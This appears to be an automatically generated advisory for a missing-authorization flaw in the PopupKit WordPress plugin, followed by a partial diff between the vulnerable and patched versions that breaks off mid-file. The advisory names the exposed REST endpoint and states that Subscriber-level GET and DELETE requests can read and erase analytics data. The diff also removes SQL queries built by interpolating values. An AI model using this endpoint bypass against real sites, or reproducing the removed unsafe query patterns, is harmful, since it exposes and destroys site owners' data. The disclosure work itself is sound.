Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14895: PopupKit <= 2.2.0 – Missing Authorization to Sensitive Information Disclosure and Data Deletion (popup-builder-block)

Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 2.2.0
Patched Version 2.2.1
Disclosed February 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14895:
The PopupKit WordPress plugin contains a missing authorization vulnerability in its REST API endpoint for analytics logs. This flaw allows authenticated users with minimal privileges to access and delete sensitive analytics data.

Atomic Edge research identifies the root cause in the `permission_callback` function for the `/popup/logs` REST API endpoint. The vulnerable code resides in the `popup-builder-block/includes/Routes/Logs.php` file. The `permission_callback` method, defined at line 28, returns `true` unconditionally. This implementation fails to verify the user’s capability to manage the plugin’s analytics, bypassing WordPress’s standard authorization checks.

An attacker can exploit this vulnerability by sending authenticated HTTP requests to the vulnerable REST API endpoint. The primary attack vector is a GET request to `/wp-json/popup-builder-block/v1/popup/logs` to retrieve analytics data. A DELETE request to the same endpoint allows data deletion. Attackers require only Subscriber-level access, the lowest default WordPress user role. The exploit requires no special parameters, relying solely on the lack of authorization enforcement on the endpoint.

The patch modifies the `permission_callback` method in `Logs.php`. The function is renamed to `pbb_nonce_permission_check` and its logic is updated. The new implementation checks for a valid WordPress nonce via the `X-WP-Nonce` header. This change enforces a proper authentication and authorization check, ensuring only users with appropriate capabilities and a valid nonce can access the endpoint. The fix aligns the endpoint’s security with WordPress REST API best practices.

Successful exploitation allows attackers to read sensitive analytics data, including visitor device types, browser information, geographic locations, referrer URLs, and campaign performance metrics. Attackers can also delete this analytics data, causing data loss and disrupting business intelligence for site administrators. The vulnerability represents a classic Broken Access Control (CWE-862) scenario with a direct impact on data confidentiality and integrity.

Differential between vulnerable and patched code

Code Diff
--- a/popup-builder-block/build/admin/dashboard/index.asset.php
+++ b/popup-builder-block/build/admin/dashboard/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'de07f2d7fd08280362b8');
+<?php return array('dependencies' => array('jquery', 'moment', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'f0c7593d4a274aa8c4fb');
--- a/popup-builder-block/build/admin/onboard/index.asset.php
+++ b/popup-builder-block/build/admin/onboard/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '7c151cb6669b8b168297');
+<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element', 'wp-i18n'), 'version' => '117ee3d737c98130b6d0');
--- a/popup-builder-block/build/blocks/advanced-image/index.asset.php
+++ b/popup-builder-block/build/blocks/advanced-image/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '63455aaea59366663108');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '6826f98d300d24cfff76');
--- a/popup-builder-block/build/blocks/button/index.asset.php
+++ b/popup-builder-block/build/blocks/button/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '07fc9d20b22d38f18632');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '72c99a078fccccda00b3');
--- a/popup-builder-block/build/blocks/container/index.asset.php
+++ b/popup-builder-block/build/blocks/container/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '3e974da1d83b78df587e');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '6ccfa23685e8ab649bcd');
--- a/popup-builder-block/build/blocks/form/frontend.asset.php
+++ b/popup-builder-block/build/blocks/form/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-hooks'), 'version' => '9ed71d9508d138b627a1');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-hooks'), 'version' => '153548a775c2c40e0596');
--- a/popup-builder-block/build/blocks/form/index.asset.php
+++ b/popup-builder-block/build/blocks/form/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '5090607249b92587d4e5');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '4af4936415ac7ad7e0eb');
--- a/popup-builder-block/build/blocks/heading/index.asset.php
+++ b/popup-builder-block/build/blocks/heading/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'a2591f5b830a3f43ef7f');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '0044078163885af3d605');
--- a/popup-builder-block/build/blocks/icon/index.asset.php
+++ b/popup-builder-block/build/blocks/icon/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'c8ebdd33fc3ae09b0d58');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'ea6a5a7567d3d2099009');
--- a/popup-builder-block/build/blocks/popup-builder/index.asset.php
+++ b/popup-builder-block/build/blocks/popup-builder/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'a1d42c6df10bc3287ef4');
+<?php return array('dependencies' => array('react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '900c4d6b681d5dc42aca');
--- a/popup-builder-block/build/popup/components.asset.php
+++ b/popup-builder-block/build/popup/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => '871ce24719fd07b1cea5');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => 'ccae8a2ea2da6017158f');
--- a/popup-builder-block/includes/Admin/Admin.php
+++ b/popup-builder-block/includes/Admin/Admin.php
@@ -157,6 +157,14 @@
 						true
 					);

+					// ✅ Add translation support for JS strings in Onboard scripts
+					wp_set_script_translations(
+						'popupkit-onboard',
+						'popup-builder-block',
+						plugin_dir_path( POPUP_BUILDER_BLOCK_PLUGIN_DIR ) . 'languages'
+					);
+
+
 					// Localize the script with data
 					wp_localize_script(
 						'popupkit-onboard',
@@ -204,6 +212,13 @@
 						true
 					);

+					// ✅ Add translation support for JS strings in Dashboard scripts
+					wp_set_script_translations(
+						'popup-builder-block-dashboard',
+						'popup-builder-block',
+						plugin_dir_path( POPUP_BUILDER_BLOCK_PLUGIN_DIR ) . 'languages'
+					);
+
 					wp_localize_script(
 						'popup-builder-block-dashboard',
 						'popupBuilderBlock',
--- a/popup-builder-block/includes/Config/BlockList.php
+++ b/popup-builder-block/includes/Config/BlockList.php
@@ -7,68 +7,65 @@
 class BlockList {

 	public static function get_block_list() {
-		$list = apply_filters(
-			'popup-builder-block/blocks/list',
-			array(
-				'popup-builder'      => array(
-					'slug'     => 'popup-builder',
-					'title'    => 'Popup Builder',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'button'             => array(
-					'slug'     => 'button',
-					'title'    => 'Button',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'form'               => array(
-					'slug'     => 'form',
-					'title'    => 'Form',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'advanced-paragraph' => array(
-					'slug'     => 'advanced-paragraph',
-					'title'    => 'Advanced Paragraph',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'advanced-image'     => array(
-					'slug'     => 'advanced-image',
-					'title'    => 'Advanced Image',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'icon'               => array(
-					'slug'     => 'icon',
-					'title'    => 'Icon',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'container'          => array(
-					'slug'     => 'container',
-					'title'    => 'Container',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-				'heading'            => array(
-					'slug'     => 'heading',
-					'title'    => 'Heading',
-					'package'  => 'free',
-					'category' => 'general',
-					'status'   => 'active',
-				),
-			)
+		$list = array(
+			'popup-builder'      => array(
+				'slug'     => 'popup-builder',
+				'title'    => 'Popup Builder',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'button'             => array(
+				'slug'     => 'button',
+				'title'    => 'Button',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'form'               => array(
+				'slug'     => 'form',
+				'title'    => 'Form',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'advanced-paragraph' => array(
+				'slug'     => 'advanced-paragraph',
+				'title'    => 'Advanced Paragraph',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'advanced-image'     => array(
+				'slug'     => 'advanced-image',
+				'title'    => 'Advanced Image',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'icon'               => array(
+				'slug'     => 'icon',
+				'title'    => 'Icon',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'container'          => array(
+				'slug'     => 'container',
+				'title'    => 'Container',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
+			'heading'            => array(
+				'slug'     => 'heading',
+				'title'    => 'Heading',
+				'package'  => 'free',
+				'category' => 'general',
+				'status'   => 'active',
+			),
 		);

-		return $list;
+		return apply_filters('popup_builder_block/blocks_list', $list );
 	}
 }
--- a/popup-builder-block/includes/Config/Blocks.php
+++ b/popup-builder-block/includes/Config/Blocks.php
@@ -4,7 +4,6 @@

 defined( 'ABSPATH' ) || exit;

-use WP_Query;
 use PopupBuilderBlockHelpersUtils;
 use PopupBuilderBlockConfigBlockList;

@@ -125,9 +124,9 @@
 		$processor->add_class( $block['attrs']['blockClass'] );
 		$processor->add_class( 'popupkit-block' );

-		$beforeMarkup     = apply_filters( 'pbb/save_element_markup_before', '', $block );
-		$afterMarkup      = apply_filters( 'pbb/save_element_markup_after', '', $block );
-		$processedContent = apply_filters( 'pbb/save_element_markup', $processor, $block, $instance );
+		$beforeMarkup     = apply_filters( 'popup_builder_block/save_element_markup_before', '', $block );
+		$afterMarkup      = apply_filters( 'popup_builder_block/save_element_markup_after', '', $block );
+		$processedContent = apply_filters( 'popup_builder_block/save_element_markup', $processor, $block, $instance );

 		if ( method_exists( $processedContent, 'get_updated_html' ) ) {
 			$processedContent = $processedContent->get_updated_html();
--- a/popup-builder-block/includes/Config/PostMeta.php
+++ b/popup-builder-block/includes/Config/PostMeta.php
@@ -221,6 +221,6 @@
 			),
 		);

-		return apply_filters( 'pbb/post_meta_fields', $meta_list );
+		return apply_filters( 'popup_builder_block/post_meta_fields', $meta_list );
 	}
 }
--- a/popup-builder-block/includes/Config/SettingsList.php
+++ b/popup-builder-block/includes/Config/SettingsList.php
@@ -7,68 +7,55 @@
 class SettingsList {

 	public static function pbb_settings_list() {
-		$list = apply_filters(
-			'popup-builder-block/pbb-settings-tabs/list',
-			array(
-				'unfiltered_upload' => array(
-					'_id'         => uniqid(),
-					'slug'        => 'unfiltered_upload',
-					'title'       => 'Unfiltered File Upload',
-					'description' => 'To be able to upload any SVG and JSON file from Media and PopupKit Icon Picker. PopupKit will remove any potentially harmful scripts and code by sanitizing the unfiltered files. We recommend enabling this feature only if you understand the security risks involved.',
-					'package'     => 'free',
-					'status'      => 'inactive',
-					'category'    => 'general',
-				),
-				'remote_image'      => array(
-					'_id'         => uniqid(),
-					'slug'        => 'remote_image',
-					'title'       => 'Download Remote Image',
-					'description' => 'To download remote images from Popupkit Templates while importing a template, enable the "Download Remote Image" option.',
-					'package'     => 'free',
-					'status'      => 'active',
-					'category'    => 'general',
-				),
-				'uninstall-data'    => array(
-					'_id'         => uniqid(),
-					'slug'        => 'uninstall-data',
-					'title'       => 'Remove All Data',
-					'description' => 'Enable this option to automatically delete all data related to the PopupKit when uninstalling this plugin.',
-					'package'     => 'free',
-					'status'      => 'inactive',
-					'category'    => 'data',
-				),
-				'analytics'         => array(
-					'_id'         => uniqid(),
-					'slug'        => 'analytics',
-					'title'       => 'Data Storage Duration for Analytics',
-					'description' => 'Generally, PoupKit stores campaign data into the database. You can set a period for automatic deletion of old campaign data using the options below. (Note that deleted data will not appear on the Analytics page.)',
-					'package'     => 'free',
-					'value'       => '2',
-					'status'      => 'active',
-					'category'    => 'advanced',
-				),
-				'user_consent'      => array(
-					'_id'         => uniqid(),
-					'slug'        => 'user_consent',
-					'title'       => 'User Consent',
-					'description' => 'Show update & fix related important messages, essential tutorials and promotional images of PopupKit on WP Dashboard',
-					'package'     => 'free',
-					'status'      => 'active',
-					'category'    => 'general',
-				),
-				// 'version_control' => array(
-				// '_id'    => uniqid(),
-				// 'slug'    => 'version_control',
-				// 'title'   => 'Version Control',
-				// 'description' => 'Enable this feature to manage the version of your popups. You can create version of a popup and restore them at any time.',
-				// 'package' => 'free',
-				// 'value'   => '1.0.0',
-				// 'status'  => 'active',
-				// 'category' => 'version',
-				// ),
-
-			)
+		$list = array(
+			'unfiltered_upload' => array(
+				'_id'         => uniqid(),
+				'slug'        => 'unfiltered_upload',
+				'title'       => esc_html__('Unfiltered File Upload', 'popup-builder-block'),
+				'description' => esc_html__('To be able to upload any SVG and JSON file from Media and PopupKit Icon Picker. PopupKit will remove any potentially harmful scripts and code by sanitizing the unfiltered files. We recommend enabling this feature only if you understand the security risks involved.', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'inactive',
+				'category'    => 'general',
+			),
+			'remote_image'      => array(
+				'_id'         => uniqid(),
+				'slug'        => 'remote_image',
+				'title'       => esc_html__('Download Remote Image', 'popup-builder-block'),
+				'description' => esc_html__('To download remote images from Popupkit Templates while importing a template, enable the "Download Remote Image" option.', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'active',
+				'category'    => 'general',
+			),
+			'uninstall-data'    => array(
+				'_id'         => uniqid(),
+				'slug'        => 'uninstall-data',
+				'title'       => esc_html__('Remove All Data', 'popup-builder-block'),
+				'description' => esc_html__('Enable this option to automatically delete all data related to the PopupKit when deleting this plugin.', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'inactive',
+				'category'    => 'data',
+			),
+			'analytics'         => array(
+				'_id'         => uniqid(),
+				'slug'        => 'analytics',
+				'title'       => esc_html__('Data Storage Duration for Analytics', 'popup-builder-block'),
+				'description' => esc_html__('Generally, PoupKit stores campaign data into the database. You can set a period for automatic deletion of old campaign data using the options below. (Note that deleted data will not appear on the Analytics page.)', 'popup-builder-block'),
+				'package'     => 'free',
+				'value'       => '2',
+				'status'      => 'active',
+				'category'    => 'advanced',
+			),
+			'user_consent'      => array(
+				'_id'         => uniqid(),
+				'slug'        => 'user_consent',
+				'title'       => esc_html__('User Consent', 'popup-builder-block'),
+				'description' => esc_html__('Show update & fix related important messages, essential tutorials and promotional images of PopupKit on WP Dashboard', 'popup-builder-block'),
+				'package'     => 'free',
+				'status'      => 'active',
+				'category'    => 'general',
+			),
 		);
-		return $list;
+
+		return apply_filters('popup_builder_block/pbb-settings-tabs/list', $list );
 	}
 }
--- a/popup-builder-block/includes/Helpers/DataBase.php
+++ b/popup-builder-block/includes/Helpers/DataBase.php
@@ -312,18 +312,33 @@
 		global $wpdb;

 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
-		$campaign = $campaign_id ? " AND campaign_id = $campaign_id" : '';

-		return $wpdb->get_results(
-			$wpdb->prepare("SELECT SUM(device_desktop) as desktop,
-				SUM(device_tablet) as tablet,
-				SUM(device_mobile) as mobile
-				FROM %i WHERE date BETWEEN %s AND %s $campaign", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$table_name,
-				$start_date,
-				$end_date,
-			)
-		);
+		if ( $campaign_id ) {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(device_desktop) as desktop,
+					SUM(device_tablet) as tablet,
+					SUM(device_mobile) as mobile
+					FROM %i WHERE date BETWEEN %s AND %s AND campaign_id = %d",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+		} else {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(device_desktop) as desktop,
+					SUM(device_tablet) as tablet,
+					SUM(device_mobile) as mobile
+					FROM %i WHERE date BETWEEN %s AND %s",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
+		}
 	}

 	private static function get_data($campaign_id, $start_date, $end_date, $table, $log_table, $column, $id) {
@@ -332,18 +347,37 @@
 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
 		$table = $wpdb->prefix . $table;
 		$log_table = $wpdb->prefix . $log_table;
-		$campaign = $campaign_id ? "AND campaign_id = $campaign_id " : '';

-		return $wpdb->get_results(
-			$wpdb->prepare("SELECT t.$column, SUM(lt.count) AS total_count FROM %i logs JOIN %i lt ON lt.log_id = logs.id JOIN %i t ON t.id = lt.$id WHERE logs.date BETWEEN %s AND %s $campaign GROUP BY t.$column ORDER BY total_count DESC;", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-			[
-				$table_name,
-				$log_table,
-				$table,
-				$start_date,
-				$end_date,
-			])
-		);
+		if ( $campaign_id ) {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT t.%i, SUM(lt.count) AS total_count FROM %i logs JOIN %i lt ON lt.log_id = logs.id JOIN %i t ON t.id = lt.%i WHERE logs.date BETWEEN %s AND %s AND campaign_id = %d GROUP BY t.%i ORDER BY total_count DESC;",
+					$column,
+					$table_name,
+					$log_table,
+					$table,
+					$id,
+					$start_date,
+					$end_date,
+					$campaign_id,
+					$column
+				)
+			);
+		} else {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT t.%i, SUM(lt.count) AS total_count FROM %i logs JOIN %i lt ON lt.log_id = logs.id JOIN %i t ON t.id = lt.%i WHERE logs.date BETWEEN %s AND %s GROUP BY t.%i ORDER BY total_count DESC;",
+					$column,
+					$table_name,
+					$log_table,
+					$table,
+					$id,
+					$start_date,
+					$end_date,
+					$column
+				)
+			);
+		}
 	}

 	public static function get_countries($campaign_id, $start_date, $end_date) {
@@ -362,43 +396,77 @@
 		global $wpdb;

 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
-		$campaign = $campaign_id ? "AND campaign_id = $campaign_id " : '';

-		return $wpdb->get_results(
-			$wpdb->prepare("SELECT
-				campaign_id,
-				SUM(converted) as count
-				FROM %i WHERE date BETWEEN %s AND %s $campaign GROUP BY campaign_id  ORDER BY count DESC;", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$table_name,
-				$start_date,
-				$end_date,
-			)
-		);
+		if ( $campaign_id ) {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT
+					campaign_id,
+					SUM(converted) as count
+					FROM %i WHERE date BETWEEN %s AND %s AND campaign_id = %d GROUP BY campaign_id ORDER BY count DESC;",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+		} else {
+			return $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT
+					campaign_id,
+					SUM(converted) as count
+					FROM %i WHERE date BETWEEN %s AND %s GROUP BY campaign_id ORDER BY count DESC;",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
+		}
 	}

 	public static function get_convertion( $campaign_id, $start_date, $end_date ) {
 		global $wpdb;

 		$table_name = $wpdb->prefix . self::$LOGS_TABLE;
-		$grouped_data_sql = "SELECT DATE(date) AS dateLog, SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM $table_name WHERE DATE(date) BETWEEN %s AND %s";
-		$total_data_sql = "SELECT SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM $table_name WHERE DATE(date) BETWEEN %s AND %s";
-
-		$prepare_args= [$start_date, $end_date];

 		if ( $campaign_id ) {
-			$grouped_data_sql .= " AND campaign_id = %d";
-			$total_data_sql .= " AND campaign_id = %d";
-			$prepare_args[] = $campaign_id;
+			$grouped_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT DATE(date) AS dateLog, SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s AND campaign_id = %d GROUP BY DATE(date);",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+			$total_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s AND campaign_id = %d",
+					$table_name,
+					$start_date,
+					$end_date,
+					$campaign_id
+				)
+			);
+		} else {
+			$grouped_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT DATE(date) AS dateLog, SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s GROUP BY DATE(date);",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
+			$total_data = $wpdb->get_results(
+				$wpdb->prepare(
+					"SELECT SUM(views) AS totalViews, SUM(converted) AS totalConverted FROM %i WHERE DATE(date) BETWEEN %s AND %s",
+					$table_name,
+					$start_date,
+					$end_date
+				)
+			);
 		}
-
-		$grouped_data_sql .= " GROUP BY DATE(date);";
-
-		$grouped_data = $wpdb->get_results(
-			$wpdb->prepare( $grouped_data_sql, $prepare_args ) // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-		);
-		$total_data   = $wpdb->get_results(
-			$wpdb->prepare( $total_data_sql, $prepare_args ) // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-		);

 		return array(
 			'group' => $grouped_data,
--- a/popup-builder-block/includes/Helpers/DisplayConditions.php
+++ b/popup-builder-block/includes/Helpers/DisplayConditions.php
@@ -119,11 +119,11 @@
 							break;
 					}
 				} elseif ( $pageType === 'woocommerce' && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
-					$match = apply_filters( 'pbb/woocommerce/display_conditions', $cond, $popup_id );
+					$match = apply_filters( 'popup_builder_block/woocommerce/display_conditions', $cond, $popup_id );
 				} elseif ($pageType === 'edd' && is_plugin_active( 'easy-digital-downloads/easy-digital-downloads.php' ) ) {
-					$match = apply_filters( 'pbb/edd/display_conditions', $cond, $popup_id );
+					$match = apply_filters( 'popup_builder_block/edd/display_conditions', $cond, $popup_id );
 				} elseif ( $pageType === 'custom-url' ) {
-					$match = apply_filters( 'pbb/custom-url/display_conditions', $cond );
+					$match = apply_filters( 'popup_builder_block/custom-url/display_conditions', $cond );
 				}


--- a/popup-builder-block/includes/Helpers/PopupConditions.php
+++ b/popup-builder-block/includes/Helpers/PopupConditions.php
@@ -54,22 +54,22 @@
 	}

 	public function geolocation_targeting() {
-		return apply_filters( 'pbb/geolocation/targeting', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/geolocation/targeting', true, $this->post_meta );
 	}

 	public function scheduling() {
-		return apply_filters( 'pbb/scheduling', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/scheduling', true, $this->post_meta );
 	}

 	public function cookie_targeting() {
-		return apply_filters( 'pbb/cookie/targeting', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/cookie/targeting', true, $this->post_meta );
 	}

 	public function adblock_detection() {
-		return apply_filters( 'pbb/adblock/detection', true, $this->post_meta );
+		return apply_filters( 'popup_builder_block/adblock/detection', true, $this->post_meta );
 	}

 	public function abtest_active() {
-		return apply_filters( 'pbb/abtest/active', false, $this->post_meta );
+		return apply_filters( 'popup_builder_block/abtest/active', false, $this->post_meta );
 	}
 }
--- a/popup-builder-block/includes/Helpers/Utils.php
+++ b/popup-builder-block/includes/Helpers/Utils.php
@@ -142,7 +142,7 @@
 			),
 		);

-		return apply_filters( 'pbb_allowed_svg_attrs_tags', $allowed_svg_tags );
+		return apply_filters( 'popup_builder_block/allowed_svg_attrs_tags', $allowed_svg_tags );
 	}

 	/**
@@ -265,7 +265,7 @@
 			'markers'     => true,
 		);

-		return apply_filters( 'pbb_allowed_json_attrs_tags', $allowed_json_tags );
+		return apply_filters( 'popup_builder_block/allowed_json_attrs_tags', $allowed_json_tags );
 	}

 	public static function iframe_allowed_html() {
--- a/popup-builder-block/includes/Hooks/Enqueue.php
+++ b/popup-builder-block/includes/Hooks/Enqueue.php
@@ -84,7 +84,7 @@

 			wp_add_inline_style(
 				'popup-builder-block-single-style',
-				apply_filters( 'popup-builder-block/custom_styles', $inline_css )
+				apply_filters( 'popup_builder_block/custom_styles', $inline_css )
 			);
 		}

--- a/popup-builder-block/includes/Hooks/FontFamilyGenerator.php
+++ b/popup-builder-block/includes/Hooks/FontFamilyGenerator.php
@@ -25,7 +25,7 @@
         add_action( 'enqueue_block_assets', array($this, 'block_assets'), 10);

         add_action( 'admin_enqueue_scripts', array($this, 'load_editor_assets'));
-        add_action( 'wp_pbb_gathering_fonts', array($this, 'on_save_post'), 10, 3);
+        add_action( 'popup_builder_block/gathering_fonts', array($this, 'on_save_post'), 10, 3);
     }

     /**
@@ -199,7 +199,7 @@

         // Trigger the existing action hook
         // We pass true for 'update' as this is likely happening after initial creation/load
-        do_action('wp_pbb_gathering_fonts', $post_id, $post, true);
+        do_action('popup_builder_block/gathering_fonts', $post_id, $post, true);

         wp_send_json_success(array('message' => 'Font gathering triggered successfully for post ' . $post_id));
         wp_die();
--- a/popup-builder-block/includes/Hooks/PopupGenerator.php
+++ b/popup-builder-block/includes/Hooks/PopupGenerator.php
@@ -99,7 +99,7 @@
 			echo self::iframe( $post->ID ); /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped */
 		}

-		$selected_from_abtest = apply_filters('pbb/abtest/selected', array(), $abtest_posts);
+		$selected_from_abtest = apply_filters('popup_builder_block/abtest/selected', array(), $abtest_posts);
 		foreach($selected_from_abtest as $post_id) {
 			echo self::iframe( $post_id ); /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped */
 		}
--- a/popup-builder-block/includes/Hooks/Preview.php
+++ b/popup-builder-block/includes/Hooks/Preview.php
@@ -35,7 +35,7 @@

 		// Specify the path to the custom template file in your plugin
 		$custom_template = apply_filters(
-			'popup-builder-block/template_path',
+			'popup_builder_block/template_path',
 			POPUP_BUILDER_BLOCK_INC_DIR . 'Templates/SinglePopup.php'
 		);

--- a/popup-builder-block/includes/Libs/Init.php
+++ b/popup-builder-block/includes/Libs/Init.php
@@ -20,7 +20,6 @@
 	 * @since 1.0.0
 	 */
 	public function __construct() {
-		new UnfilteredFileSupport();
 		new UtilityPackages();
 	}
 }
--- a/popup-builder-block/includes/Routes/FetchDemo.php
+++ b/popup-builder-block/includes/Routes/FetchDemo.php
@@ -17,12 +17,12 @@
 				'endpoint'            => '/live-preview',
 				'methods'             => 'GET',
 				'callback'            => 'get_popup_preview',
-				'permission_callback' => [$this, 'permission_callback'],
+				'permission_callback' => [$this, 'pbb_nonce_permission_check'],
 			]
         ];
     }

-	public function permission_callback(): bool {
+	public function pbb_nonce_permission_check(): bool {
 		// check for nonce
 		return isset( $_SERVER['HTTP_X_WP_NONCE'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ), 'wp_rest' );
 	}
--- a/popup-builder-block/includes/Routes/Popup.php
+++ b/popup-builder-block/includes/Routes/Popup.php
@@ -45,6 +45,7 @@
 							}
